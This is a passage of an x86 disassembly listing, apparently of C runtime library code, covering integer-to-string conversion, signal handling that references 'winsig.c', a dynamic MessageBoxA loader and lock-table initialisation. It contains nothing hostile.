		jmp	short loc_426E55
; ---------------------------------------------------------------------------


loc_426E41:				; CODE XREF: sub_426DE0+49j
		mov	edx, [ebp+var_C]
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_426E55:				; CODE XREF: sub_426DE0+5Fj
		cmp	[ebp+arg_0], 0
		ja	short loc_426E0F
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax


loc_426E6A:				; CODE XREF: sub_426DE0+BCj
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[ebp+var_10], dl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		mov	cl, [ebp+var_10]
		mov	[eax], cl
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_4]
		jb	short loc_426E6A
		mov	esp, ebp
		pop	ebp
		retn
sub_426DE0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+10h], 0Ah
		jnz	short loc_426EC9
		cmp	dword ptr [ebp+8], 0
		jge	short loc_426EC9
		mov	dword ptr [ebp-4], 1
		jmp	short loc_426ED0
; ---------------------------------------------------------------------------


loc_426EC9:				; CODE XREF: ___:00426EB8j
					; ___:00426EBEj
		mov	dword ptr [ebp-4], 0


loc_426ED0:				; CODE XREF: ___:00426EC7j
		mov	eax, [ebp-4]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_426DE0
		add	esp, 10h
		mov	eax, [ebp+0Ch]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+10h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_426DE0
		add	esp, 10h
		mov	eax, [ebp+0Ch]
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+14h], 0Ah
		jnz	short loc_426F31
		cmp	dword ptr [ebp+0Ch], 0
		jg	short loc_426F31
		jl	short loc_426F28
		cmp	dword ptr [ebp+8], 0
		jnb	short loc_426F31


loc_426F28:				; CODE XREF: ___:00426F20j
		mov	dword ptr [ebp-4], 1
		jmp	short loc_426F38
; ---------------------------------------------------------------------------


loc_426F31:				; CODE XREF: ___:00426F18j
					; ___:00426F1Ej ...
		mov	dword ptr [ebp-4], 0


loc_426F38:				; CODE XREF: ___:00426F2Fj
		mov	eax, [ebp-4]
		push	eax
		mov	ecx, [ebp+14h]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_426F60
		mov	eax, [ebp+10h]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426F60	proc near		; CODE XREF: ___:00426F4Cp
					; ___:00427075p

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_10], 0
		jz	short loc_426F94
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		neg	eax
		mov	ecx, [ebp+arg_4]
		adc	ecx, 0
		neg	ecx
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_4], ecx


loc_426F94:				; CODE XREF: sub_426F60+10j
		mov	edx, [ebp+var_4]
		mov	[ebp+var_8], edx


loc_426F9A:				; CODE XREF: sub_426F60+9Fj
					; sub_426F60+A7j
		mov	eax, [ebp+arg_C]
		xor	ecx, ecx
		push	ecx
		push	eax
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41A440
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_C]
		xor	edx, edx
		push	edx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41A3D0
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_4], edx
		cmp	[ebp+var_C], 9
		jbe	short loc_426FE7
		mov	edx, [ebp+var_C]
		add	edx, 57h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_426FFB
; ---------------------------------------------------------------------------


loc_426FE7:				; CODE XREF: sub_426F60+6Fj
		mov	edx, [ebp+var_C]
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_426FFB:				; CODE XREF: sub_426F60+85j
		cmp	[ebp+arg_4], 0
		ja	short loc_426F9A
		jb	short loc_427009
		cmp	[ebp+arg_0], 0
		ja	short loc_426F9A


loc_427009:				; CODE XREF: sub_426F60+A1j
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax


loc_427018:				; CODE XREF: sub_426F60+EAj
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[ebp+var_10], dl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		mov	cl, [ebp+var_10]
		mov	[eax], cl
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_4]
		jb	short loc_427018
		mov	esp, ebp
		pop	ebp
		retn	14h
sub_426F60	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_426F60
		mov	eax, [ebp+10h]
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		cmp	dword ptr [ebp+0Ch], 4
		jz	short loc_427093
		cmp	dword ptr [ebp+0Ch], 3
		jnz	short loc_427098


loc_427093:				; CODE XREF: ___:0042708Bj
		jmp	loc_427268
; ---------------------------------------------------------------------------


loc_427098:				; CODE XREF: ___:00427091j
		cmp	dword ptr [ebp+8], 2
		jz	short loc_4270B4
		cmp	dword ptr [ebp+8], 15h
		jz	short loc_4270B4
		cmp	dword ptr [ebp+8], 16h
		jz	short loc_4270B4
		cmp	dword ptr [ebp+8], 0Fh
		jnz	loc_427191


loc_4270B4:				; CODE XREF: ___:0042709Cj
					; ___:004270A2j ...
		push	1
		call	sub_41B780
		add	esp, 4
		cmp	dword ptr [ebp+8], 2
		jz	short loc_4270CA
		cmp	dword ptr [ebp+8], 15h
		jnz	short loc_42710F


loc_4270CA:				; CODE XREF: ___:004270C2j
		cmp	dword_4DB2F0, 0
		jnz	short loc_42710F
		push	1
		push	offset sub_4272B0
		call	near ptr 27A0B9Dh
		nop
		cmp	eax, 1
		jnz	short loc_4270F1
		mov	dword_4DB2F0, 1
		jmp	short loc_42710F
; ---------------------------------------------------------------------------


loc_4270F1:				; CODE XREF: ___:004270E3j
		nop
		call	near ptr 26908EFh
		mov	esi, eax
		call	sub_420530
		mov	[eax], esi
		push	1
		call	sub_41B820
		add	esp, 4
		jmp	loc_427268
; ---------------------------------------------------------------------------


loc_42710F:				; CODE XREF: ___:004270C8j
					; ___:004270D1j ...
		mov	eax, [ebp+8]
		mov	[ebp-10h], eax
		mov	ecx, [ebp-10h]
		sub	ecx, 2
		mov	[ebp-10h], ecx
		cmp	dword ptr [ebp-10h], 14h
		ja	short loc_427182
		mov	eax, [ebp-10h]
		xor	edx, edx
		mov	dl, byte_42728F[eax]
		jmp	off_42727B[edx*4]


loc_427136:				; DATA XREF: ___:off_42727Bo
		mov	ecx, dword_4DB2E0
		mov	[ebp-0Ch], ecx
		mov	edx, [ebp+0Ch]
		mov	dword_4DB2E0, edx
		jmp	short loc_427182
; ---------------------------------------------------------------------------


loc_42714A:				; CODE XREF: ___:0042712Fj
					; DATA XREF: ___:00427283o
		mov	eax, dword_4DB2E4
		mov	[ebp-0Ch], eax
		mov	ecx, [ebp+0Ch]
		mov	dword_4DB2E4, ecx
		jmp	short loc_427182
; ---------------------------------------------------------------------------


loc_42715D:				; CODE XREF: ___:0042712Fj
					; DATA XREF: ___:00427287o
		mov	edx, dword_4DB2E8
		mov	[ebp-0Ch], edx
		mov	eax, [ebp+0Ch]
		mov	dword_4DB2E8, eax
		jmp	short loc_427182
; ---------------------------------------------------------------------------


loc_427170:				; CODE XREF: ___:0042712Fj
					; DATA XREF: ___:0042727Fo
		mov	ecx, dword_4DB2EC
		mov	[ebp-0Ch], ecx
		mov	edx, [ebp+0Ch]
		mov	dword_4DB2EC, edx


loc_427182:				; CODE XREF: ___:00427122j
					; ___:0042712Fj ...
		push	1
		call	sub_41B820
		add	esp, 4
		jmp	loc_427263
; ---------------------------------------------------------------------------


loc_427191:				; CODE XREF: ___:004270AEj
		cmp	dword ptr [ebp+8], 8
		jz	short loc_4271A8
		cmp	dword ptr [ebp+8], 4
		jz	short loc_4271A8
		cmp	dword ptr [ebp+8], 0Bh
		jz	short loc_4271A8
		jmp	loc_427268
; ---------------------------------------------------------------------------


loc_4271A8:				; CODE XREF: ___:00427195j
					; ___:0042719Bj ...
		call	sub_41F970
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+50h], offset dword_4443C8
		jnz	short loc_427205
		push	133h
		push	offset aWinsig_c ; "winsig.c"
		push	2
		mov	ecx, dword_444448
		push	ecx
		call	sub_414DD0
		add	esp, 10h
		mov	edx, [ebp-4]
		mov	[edx+50h], eax
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+50h], 0
		jz	short loc_427203
		mov	ecx, dword_444448
		push	ecx
		push	offset dword_4443C8
		mov	edx, [ebp-4]
		mov	eax, [edx+50h]
		push	eax
		call	sub_4187B0
		add	esp, 0Ch
		jmp	short loc_427205
; ---------------------------------------------------------------------------


loc_427203:				; CODE XREF: ___:004271E4j
		jmp	short loc_427268
; ---------------------------------------------------------------------------


loc_427205:				; CODE XREF: ___:004271BAj
					; ___:00427201j
		mov	ecx, [ebp-4]
		mov	edx, [ecx+50h]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_427590
		add	esp, 8
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jnz	short loc_427223
		jmp	short loc_427268
; ---------------------------------------------------------------------------


loc_427223:				; CODE XREF: ___:0042721Fj
		mov	ecx, [ebp-8]
		mov	edx, [ecx+8]
		mov	[ebp-0Ch], edx


loc_42722C:				; CODE XREF: ___:loc_427261j
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		cmp	ecx, [ebp+8]
		jnz	short loc_427263
		mov	edx, [ebp-8]
		mov	eax, [ebp+0Ch]
		mov	[edx+8], eax
		mov	ecx, [ebp-8]
		add	ecx, 0Ch
		mov	[ebp-8], ecx
		mov	edx, dword_44444C
		imul	edx, 0Ch
		mov	eax, [ebp-4]
		mov	ecx, [eax+50h]
		add	ecx, edx
		cmp	[ebp-8], ecx
		jb	short loc_427261
		jmp	short loc_427263
; ---------------------------------------------------------------------------


loc_427261:				; CODE XREF: ___:0042725Dj
		jmp	short loc_42722C
; ---------------------------------------------------------------------------


loc_427263:				; CODE XREF: ___:0042718Cj
					; ___:00427235j ...
		mov	eax, [ebp-0Ch]
		jmp	short loc_427276
; ---------------------------------------------------------------------------


loc_427268:				; CODE XREF: ___:loc_427093j
					; ___:0042710Aj ...
		call	sub_420520
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh


loc_427276:				; CODE XREF: ___:00427266j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
off_42727B	dd offset loc_427136	; DATA XREF: ___:0042712Fr
		dd offset loc_427170
		dd offset loc_42714A
		dd offset loc_42715D
		dd offset loc_427182
byte_42728F	db 0			; DATA XREF: ___:00427129r
		dd 3 dup(4040404h), 4040401h, 3020404h,	3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4272B0	proc near		; DATA XREF: ___:004270D5o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	1
		call	sub_41B780
		add	esp, 4
		cmp	[ebp+arg_0], 0
		jnz	short loc_4272DE
		mov	[ebp+var_8], offset dword_4DB2E0
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_4], 2
		jmp	short loc_4272F4
; ---------------------------------------------------------------------------


loc_4272DE:				; CODE XREF: sub_4272B0+14j
		mov	[ebp+var_8], offset dword_4DB2E4
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], 15h


loc_4272F4:				; CODE XREF: sub_4272B0+2Cj
		cmp	[ebp+var_C], 0
		jnz	short loc_427308
		push	1
		call	sub_41B820
		add	esp, 4
		xor	eax, eax
		jmp	short loc_42733C
; ---------------------------------------------------------------------------


loc_427308:				; CODE XREF: sub_4272B0+48j
		cmp	[ebp+var_C], 1
		jz	short loc_42732D
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx], 0
		push	1
		call	sub_41B820
		add	esp, 4
		mov	edx, [ebp+var_4]
		push	edx
		call	[ebp+var_C]
		add	esp, 4
		jmp	short loc_427337
; ---------------------------------------------------------------------------


loc_42732D:				; CODE XREF: sub_4272B0+5Cj
		push	1
		call	sub_41B820
		add	esp, 4


loc_427337:				; CODE XREF: sub_4272B0+7Bj
		mov	eax, 1


loc_42733C:				; CODE XREF: sub_4272B0+56j
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4272B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427350	proc near		; CODE XREF: sub_41AEA0+2E7p
					; sub_42A8B0+Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_C], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_20]
		sub	ecx, 2
		mov	[ebp+var_20], ecx
		cmp	[ebp+var_20], 14h
		ja	loc_42741E
		mov	eax, [ebp+var_20]
		xor	edx, edx
		mov	dl, byte_427572[eax]
		jmp	off_42755A[edx*4]


loc_427388:				; DATA XREF: ___:off_42755Ao
		mov	[ebp+var_18], offset dword_4DB2E0
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	loc_427426
; ---------------------------------------------------------------------------


loc_4273A5:				; CODE XREF: sub_427350+31j
					; DATA XREF: ___:00427566o
		mov	[ebp+var_18], offset dword_4DB2E4
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_427426
; ---------------------------------------------------------------------------


loc_4273BF:				; CODE XREF: sub_427350+31j
					; DATA XREF: ___:0042756Ao
		mov	[ebp+var_18], offset dword_4DB2E8
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_427426
; ---------------------------------------------------------------------------


loc_4273D9:				; CODE XREF: sub_427350+31j
					; DATA XREF: ___:00427562o
		mov	[ebp+var_18], offset dword_4DB2EC
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_427426
; ---------------------------------------------------------------------------


loc_4273F3:				; CODE XREF: sub_427350+31j
					; DATA XREF: ___:0042755Eo
		call	sub_41F970
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+50h]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_427590
		add	esp, 8
		add	eax, 8
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		jmp	short loc_427426
; ---------------------------------------------------------------------------


loc_42741E:				; CODE XREF: sub_427350+20j
					; sub_427350+31j
					; DATA XREF: ...
		or	eax, 0FFFFFFFFh
		jmp	loc_427556
; ---------------------------------------------------------------------------


loc_427426:				; CODE XREF: sub_427350+50j
					; sub_427350+6Dj ...
		cmp	[ebp+var_C], 0
		jz	short loc_427436
		push	1
		call	sub_41B780
		add	esp, 4


loc_427436:				; CODE XREF: sub_427350+DAj
		cmp	[ebp+var_1C], 1
		jnz	short loc_427453
		cmp	[ebp+var_C], 0
		jz	short loc_42744C
		push	1
		call	sub_41B820
		add	esp, 4


loc_42744C:				; CODE XREF: sub_427350+F0j
		xor	eax, eax
		jmp	loc_427556
; ---------------------------------------------------------------------------


loc_427453:				; CODE XREF: sub_427350+EAj
		cmp	[ebp+var_1C], 0
		jnz	short loc_427470
		cmp	[ebp+var_C], 0
		jz	short loc_427469
		push	1
		call	sub_41B820
		add	esp, 4


loc_427469:				; CODE XREF: sub_427350+10Dj
		push	3
		call	sub_417960


loc_427470:				; CODE XREF: sub_427350+107j
		cmp	[ebp+arg_0], 8
		jz	short loc_427482
		cmp	[ebp+arg_0], 0Bh
		jz	short loc_427482
		cmp	[ebp+arg_0], 4
		jnz	short loc_4274AE


loc_427482:				; CODE XREF: sub_427350+124j
					; sub_427350+12Aj
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+54h]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+54h], 0
		cmp	[ebp+arg_0], 8
		jnz	short loc_4274AE
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+58h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+58h], 8Ch


loc_4274AE:				; CODE XREF: sub_427350+130j
					; sub_427350+149j
		cmp	[ebp+arg_0], 8
		jnz	short loc_4274F0
		mov	eax, dword_444440
		mov	[ebp+var_10], eax
		jmp	short loc_4274C7
; ---------------------------------------------------------------------------


loc_4274BE:				; CODE XREF: sub_427350+19Cj
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx


loc_4274C7:				; CODE XREF: sub_427350+16Cj
		mov	edx, dword_444440
		add	edx, dword_444444
		cmp	[ebp+var_10], edx
		jge	short loc_4274EE
		mov	eax, [ebp+var_10]
		imul	eax, 0Ch
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+50h]
		mov	dword ptr [edx+eax+8], 0
		jmp	short loc_4274BE
; ---------------------------------------------------------------------------


loc_4274EE:				; CODE XREF: sub_427350+186j
		jmp	short loc_4274F9
; ---------------------------------------------------------------------------


loc_4274F0:				; CODE XREF: sub_427350+162j
		mov	eax, [ebp+var_18]
		mov	dword ptr [eax], 0


loc_4274F9:				; CODE XREF: sub_427350:loc_4274EEj
		cmp	[ebp+var_C], 0
		jz	short loc_427509
		push	1
		call	sub_41B820
		add	esp, 4


loc_427509:				; CODE XREF: sub_427350+1ADj
		cmp	[ebp+arg_0], 8
		jnz	short loc_427520
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+58h]
		push	edx
		push	8
		call	[ebp+var_1C]
		add	esp, 8
		jmp	short loc_42752A
; ---------------------------------------------------------------------------


loc_427520:				; CODE XREF: sub_427350+1BDj
		mov	eax, [ebp+arg_0]
		push	eax
		call	[ebp+var_1C]
		add	esp, 4


loc_42752A:				; CODE XREF: sub_427350+1CEj
		cmp	[ebp+arg_0], 8
		jz	short loc_42753C
		cmp	[ebp+arg_0], 0Bh
		jz	short loc_42753C
		cmp	[ebp+arg_0], 4
		jnz	short loc_427554


loc_42753C:				; CODE XREF: sub_427350+1DEj
					; sub_427350+1E4j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_14]
		mov	[ecx+54h], edx
		cmp	[ebp+arg_0], 8
		jnz	short loc_427554
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+58h], ecx


loc_427554:				; CODE XREF: sub_427350+1EAj
					; sub_427350+1F9j
		xor	eax, eax


loc_427556:				; CODE XREF: sub_427350+D1j
					; sub_427350+FEj
		mov	esp, ebp
		pop	ebp
		retn
sub_427350	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
off_42755A	dd offset loc_427388	; DATA XREF: sub_427350+31r
		dd offset loc_4273F3
		dd offset loc_4273D9
		dd offset loc_4273A5
		dd offset loc_4273BF
		dd offset loc_42741E
byte_427572	db 0			; DATA XREF: sub_427350+2Br
		db 5
		dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h
		dd 2 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427590	proc near		; CODE XREF: ___:00427210p
					; sub_427350+B6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_42759A:				; CODE XREF: sub_427590+31j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+4]
		cmp	edx, [ebp+arg_0]
		jz	short loc_4275C3
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ecx, dword_44444C
		imul	ecx, 0Ch
		mov	edx, [ebp+arg_4]
		add	edx, ecx
		cmp	[ebp+var_4], edx
		jnb	short loc_4275C3
		jmp	short loc_42759A
; ---------------------------------------------------------------------------


loc_4275C3:				; CODE XREF: sub_427590+13j
					; sub_427590+2Fj
		mov	eax, dword_44444C
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		cmp	[ebp+var_4], ecx
		jnb	short loc_4275E5
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4275E5
		mov	eax, [ebp+var_4]
		jmp	short loc_4275E7
; ---------------------------------------------------------------------------


loc_4275E5:				; CODE XREF: sub_427590+43j
					; sub_427590+4Ej
		xor	eax, eax


loc_4275E7:				; CODE XREF: sub_427590+53j
		mov	esp, ebp
		pop	ebp
		retn
sub_427590	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_41F970
		add	eax, 58h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427600	proc near		; CODE XREF: ___:004298B9p
		push	ebp
		mov	ebp, esp
		call	sub_41F970
		add	eax, 54h
		pop	ebp
		retn
sub_427600	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427610	proc near		; CODE XREF: sub_41AEA0+2CEp
					; sub_426B80+1B0p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], 0
		cmp	dword_4DB2F4, 0
		jnz	short loc_427683
		push	offset aUser32_dll_0 ; "user32.dll"
		call	near ptr 2690610h
		nop
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_427657
		push	offset aMessageboxa ; "MessageBoxA"
		mov	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 26A0000h
		mov	dword_4DB2F4, eax
		cmp	dword_4DB2F4, 0
		jnz	short loc_42765B


loc_427657:				; CODE XREF: sub_427610+28j
		xor	eax, eax
		jmp	short loc_4276C7
; ---------------------------------------------------------------------------


loc_42765B:				; CODE XREF: sub_427610+45j
		push	offset aGetactivewindo ; "GetActiveWindow"
		mov	ecx, [ebp+var_8]
		push	ecx
		nop
		call	near ptr 26A0000h
		mov	dword_4DB2F8, eax
		push	offset aGetlastactivep ; "GetLastActivePopup"
		mov	edx, [ebp+var_8]
		push	edx
		call	near ptr 26A0000h
		nop
		mov	dword_4DB2FC, eax


loc_427683:				; CODE XREF: sub_427610+14j
		cmp	dword_4DB2F8, 0
		jz	short loc_427695
		call	dword_4DB2F8
		mov	[ebp+var_4], eax


loc_427695:				; CODE XREF: sub_427610+7Aj
		cmp	[ebp+var_4], 0
		jz	short loc_4276B1
		cmp	dword_4DB2FC, 0
		jz	short loc_4276B1
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_4DB2FC
		mov	[ebp+var_4], eax


loc_4276B1:				; CODE XREF: sub_427610+89j
					; sub_427610+92j
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	dword_4DB2F4


loc_4276C7:				; CODE XREF: sub_427610+49j
		mov	esp, ebp
		pop	ebp
		retn
sub_427610	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4276D0	proc near		; CODE XREF: ___:loc_427B62p
					; sub_428050:loc_4282E9p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		mov	[ebp+var_8], 0FFFFFFFFh
		push	12h
		call	sub_41B780
		add	esp, 4
		mov	[ebp+var_C], 0
		jmp	short loc_4276FA
; ---------------------------------------------------------------------------


loc_4276F1:				; CODE XREF: sub_4276D0:loc_42789Bj
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_4276FA:				; CODE XREF: sub_4276D0+1Fj
		cmp	[ebp+var_C], 40h
		jge	loc_4278A0
		mov	ecx, [ebp+var_C]
		cmp	dword_4DB460[ecx*4], 0
		jz	loc_427806
		mov	edx, [ebp+var_C]
		mov	eax, dword_4DB460[edx*4]
		mov	[ebp+var_4], eax
		jmp	short loc_42772D
; ---------------------------------------------------------------------------


loc_427724:				; CODE XREF: sub_4276D0+F1j
					; sub_4276D0:loc_4277F1j
		mov	ecx, [ebp+var_4]
		add	ecx, 24h
		mov	[ebp+var_4], ecx


loc_42772D:				; CODE XREF: sub_4276D0+52j
		mov	edx, [ebp+var_C]
		mov	eax, dword_4DB460[edx*4]
		add	eax, 480h
		cmp	[ebp+var_4], eax
		jnb	loc_4277F6
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx+4]
		and	edx, 1
		test	edx, edx
		jnz	loc_4277F1
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_427799
		push	11h
		call	sub_41B780
		add	esp, 4
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+8], 0
		jnz	short loc_42778F
		mov	edx, [ebp+var_4]
		add	edx, 0Ch
		push	edx
		nop
		call	near ptr 28606DCh
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx


loc_42778F:				; CODE XREF: sub_4276D0+A1j
		push	11h
		call	sub_41B820
		add	esp, 4


loc_427799:				; CODE XREF: sub_4276D0+8Ej
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		push	eax
		call	near ptr 77F7E21Fh
		nop
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx+4]
		and	edx, 1
		test	edx, edx
		jz	short loc_4277C6
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		push	eax
		nop
		call	near ptr 77F7E300h
		jmp	loc_427724
; ---------------------------------------------------------------------------


loc_4277C6:				; CODE XREF: sub_4276D0+E2j
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0FFFFFFFFh
		mov	ecx, [ebp+var_C]
		shl	ecx, 5
		mov	edx, [ebp+var_C]
